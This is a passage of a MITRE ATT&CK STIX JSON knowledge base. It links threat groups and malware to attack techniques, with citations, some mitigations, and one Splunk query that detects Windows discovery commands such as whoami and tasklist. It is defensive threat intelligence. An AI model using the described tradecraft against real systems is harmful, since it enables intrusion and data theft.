-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."},{"source_name":"Unit 42 Rocke January 2019","url":"https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/","description":"Xingyu, J.. (2019, January 17). Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products. Retrieved May 26, 2020."}],"modified":"2020-05-26T16:17:59.751Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) exploited Apache Struts, Oracle WebLogic (CVE-2017-10271), and Adobe ColdFusion (CVE-2017-3066) vulnerabilities to deliver malware.(Citation: Talos Rocke August 2018)(Citation: Unit 42 Rocke January 2019)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--065f628f-4539-4543-b922-ec3b6fd25a70","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T19:52:17.093Z","description":"Monitor for newly executed processes that may attempt to get information about running processes on a system. To be effective in deciphering malicious and benign activity, the full command line is essential. Similarly, having information about the parent process can help with making decisions and tuning to an environment.\n\nBecause these commands are built in, they may be run frequently by power users or even by normal users. Thus, an analytic looking at this information should have well-defined white- or blacklists, and should consider looking at an anomaly detection approach, so that this information can be learned dynamically.\nWithin the built-in Windows Commands:\n\n- hostname\n- ipconfig\n- net\n- quser\n- qwinsta\n- sc with flags query, queryex, qc\n- systeminfo\n- tasklist\n- dsquery\n- whoami\nNote: To be effective in deciphering malicious and benign activity, the full command line is essential. Similarly, having information about the parent process can help with making decisions and tuning to an environment.\n\nAnalytic 1 - Host Discovery Commands\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") (Image=\"C:\\\\Windows\\\\*\\\\hostname.exe\" OR Image=\"C:\\\\Windows\\\\*\\\\ipconfig.exe\" OR Image=\"C:\\\\Windows\\\\*\\\\net.exe\" OR Image=\"C:\\\\Windows\\\\*\\\\quser.exe\" OR Image=\"C:\\\\Windows\\\\*\\\\qwinsta.exe\" OR (Image=\"C:\\\\Windows\\\\*\\\\sc.exe\" AND (CommandLine=\"* query *\" OR CommandLine=\"* qc *\")) OR Image=\"C:\\\\Windows\\\\*\\\\systeminfo.exe\" OR Image=\"C:\\\\Windows\\\\*\\\\tasklist.exe\" OR Image=\"C:\\\\Windows\\\\*\\\\whoami.exe\")|stats values(Image) as \"Images\" values(CommandLine) as \"Command Lines\" by ComputerName","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--066425f1-79cb-4cbc-b570-0280ac503c55","created":"2022-08-07T15:42:44.211Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AuTo Stealer](https://attack.mitre.org/software/S1029) can store collected data from an infected host to a file named `Hostname_UserName.txt` prior to exfiltration.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-15T20:28:15.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3e4e2c79-2b27-4245-a5c1-5586a3cbd8f5","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--066ac155-2cfd-4466-bb3a-765f3513cc8e","type":"relationship","created":"2020-01-22T15:11:52.128Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.","url":"https://github.com/sensepost/ruler","source_name":"SensePost Ruler GitHub"}],"modified":"2020-01-22T15:11:52.128Z","description":"[Ruler](https://attack.mitre.org/software/S0358) can be used to automate the abuse of Outlook Rules to establish persistence.(Citation: SensePost Ruler GitHub) ","relationship_type":"uses","source_ref":"tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38","target_ref":"attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--066d9d0e-0298-420b-ba84-a4af07211a35","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","source_name":"McAfee GhostSecret"}],"modified":"2019-04-22T22:40:41.212Z","description":"[Proxysvc](https://attack.mitre.org/software/S0238) searches the local system and gathers data.(Citation: McAfee GhostSecret)","relationship_type":"uses","source_ref":"malware--069af411-9b24-4e85-b26c-623d035bbe84","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06711c3f-230b-4d44-9c88-4861c48d2716","type":"relationship","created":"2021-03-17T15:54:31.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Debian nbtscan Nov 2019","url":"https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html","description":"Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021."},{"source_name":"SecTools nbtscan June 2003","url":"https://sectools.org/tool/nbtscan/","description":"SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021."}],"modified":"2021-03-17T15:54:31.036Z","description":"[NBTscan](https://attack.mitre.org/software/S0590) can list active users on the system.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)\t","relationship_type":"uses","source_ref":"tool--b63970b7-ddfb-4aee-97b1-80d335e033a8","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--067696dc-a106-42d7-9fc9-31c4865879e8","created":"2022-06-01T18:51:57.929Z","x_mitre_version":"0.1","external_references":[{"source_name":"Tarrask scheduled task","url":"https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/","description":"Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Tarrask scheduled task) ","modified":"2022-07-06T20:03:57.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"malware--988976ff-beeb-4fb5-b07d-ca7437ea66e8","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--067814b5-aa57-45e0-9bdf-5536b077c224","type":"relationship","created":"2017-05-31T21:33:27.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"source_name":"Microsoft 365 Defender Solorigate","url":"https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/","description":"Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."},{"source_name":"CrowdStrike StellarParticle January 2022","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."}],"modified":"2022-02-09T15:33:52.059Z","description":"(Citation: F-Secure The Dukes)(Citation: Microsoft 365 Defender Solorigate)(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--067ece2b-4e66-437f-88e0-8dc3f076331b","type":"relationship","created":"2019-01-29T18:17:59.225Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CIRCL PlugX March 2013","url":"http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf","description":"Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."}],"modified":"2019-04-19T15:08:15.911Z","description":"[PlugX](https://attack.mitre.org/software/S0013) has a module to create, delete, or modify Registry keys.(Citation: CIRCL PlugX March 2013)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06808653-60ba-430a-8c37-b3b49d740578","type":"relationship","created":"2022-01-26T21:16:54.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-26T21:16:54.339Z","description":"[Bisonal](https://attack.mitre.org/software/S0268) has used the Windows API to communicate with the Service Control Manager to execute a thread.(Citation: Talos Bisonal Mar 2020)","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06814fdf-8bf8-43eb-b448-812541b46afa","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"},{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"}],"modified":"2020-03-20T01:49:27.561Z","description":"[Orz](https://attack.mitre.org/software/S0229) can execute shell commands.(Citation: Proofpoint Leviathan Oct 2017) [Orz](https://attack.mitre.org/software/S0229) can execute commands with JavaScript.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0686ee2f-ff46-418b-b6e8-1766e4dc33a8","type":"relationship","created":"2021-04-13T12:59:00.826Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T12:59:00.826Z","description":"[P.A.S. Webshell](https://attack.mitre.org/software/S0598) can use a decryption mechanism to process a user supplied password and allow execution.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--068ab14b-4869-44d2-a10d-bb550561bdb2","created":"2024-05-06T19:02:39.772Z","revoked":false,"external_references":[{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-06T19:02:39.772Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used funds from stolen and laundered cryptocurrency to acquire operational infrastructure.(Citation: Mandiant APT43 March 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0694d72f-cf4b-4355-b485-ccbd8d3a22b2","created":"2023-09-29T20:32:35.967Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T21:25:23.568Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has copied itself to remote systems using the `service.exe` filename.(Citation: Binary Defense Emotes Wi-Fi Spreader)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0694f0b0-c7c1-43c6-8024-17122fda2bc4","type":"relationship","created":"2019-06-24T13:56:03.622Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-24T15:06:46.284Z","description":"Minimize available services to only those that are necessary.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--06957b67-183f-4320-94ca-15a138382323","created":"2024-05-25T16:18:00.966Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:18:00.966Z","description":"[Saint Bear](https://attack.mitre.org/groups/G1031) uses a variety of file formats, such as Microsoft Office documents, ZIP archives, PDF documents, and other items as phishing attachments for initial access.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0697ae7e-2008-4674-a4ab-761fd5c15b4e","created":"2023-07-13T19:16:18.111Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike Scattered Spider BYOVD January 2023","description":"CrowdStrike. (2023, January 10). SCATTERED SPIDER Exploits Windows Security Deficiencies with Bring-Your-Own-Vulnerable-Driver Tactic in Attempt to Bypass Endpoint Security. Retrieved July 5, 2023.","url":"https://www.crowdstrike.com/blog/scattered-spider-attempts-to-avoid-detection-with-bring-your-own-vulnerable-driver-tactic/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T20:27:43.165Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) has used a combination of credential phishing and social engineering to capture one-time-password (OTP) codes.(Citation: CrowdStrike Scattered Spider BYOVD January 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--069bd80b-9f39-46c6-a9dc-b61e42a2f91e","created":"2022-09-15T17:27:08.903Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-05T15:57:05.128Z","description":"During [CostaRicto](https://attack.mitre.org/campaigns/C0004), the threat actors employed nmap and pscan to scan target environments.(Citation: BlackBerry CostaRicto November 2020) ","relationship_type":"uses","source_ref":"campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--069d3677-2694-4385-b5c3-ea6e231d26d9","type":"relationship","created":"2020-06-11T19:27:54.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.640Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used TROJ_GETVERSION to discover system services.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--069f77c1-aafd-4883-aecd-707802442427","created":"2022-08-10T20:28:07.443Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.699Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has replaced .dockerd and .dockerenv with their own scripts and cryptocurrency mining software.(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--069ff8f0-889c-4463-bf5d-618bf5e457ee","type":"relationship","created":"2020-03-25T18:30:50.135Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-16T12:53:42.570Z","description":"When possible, store keys on separate cryptographic hardware instead of on the local system. ","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--06a1f6f9-0695-47e6-bf1b-363d435d0bb2","created":"2023-01-13T21:11:37.579Z","revoked":false,"external_references":[{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-13T21:11:37.579Z","description":"[CURIUM](https://attack.mitre.org/groups/G1012) has used social media to deliver malicious files to victims.(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06a82ed9-c3c3-412a-98f7-838442f4e1cc","type":"relationship","created":"2021-06-11T20:09:30.599Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-11T20:09:30.599Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) has the ability to use JavaScript to execute PowerShell.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06aa7096-4813-4f50-a69a-7bcd6503ffe4","type":"relationship","created":"2020-06-26T17:21:35.288Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-29T15:22:59.266Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) can download and run batch files to execute commands on a compromised host.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--06ab6825-89f4-4bb7-8c82-ae9a5d4cdf61","created":"2023-02-14T18:36:07.552Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T21:02:04.368Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can list all files and their associated attributes, including filename, type, owner, creation time, last access time, last write time, size, and permissions.(Citation: MalwareBytes WoodyRAT Aug 2022) ","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06ae1d46-2349-457e-817b-e9fdca2f7768","type":"relationship","created":"2021-02-11T17:32:32.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 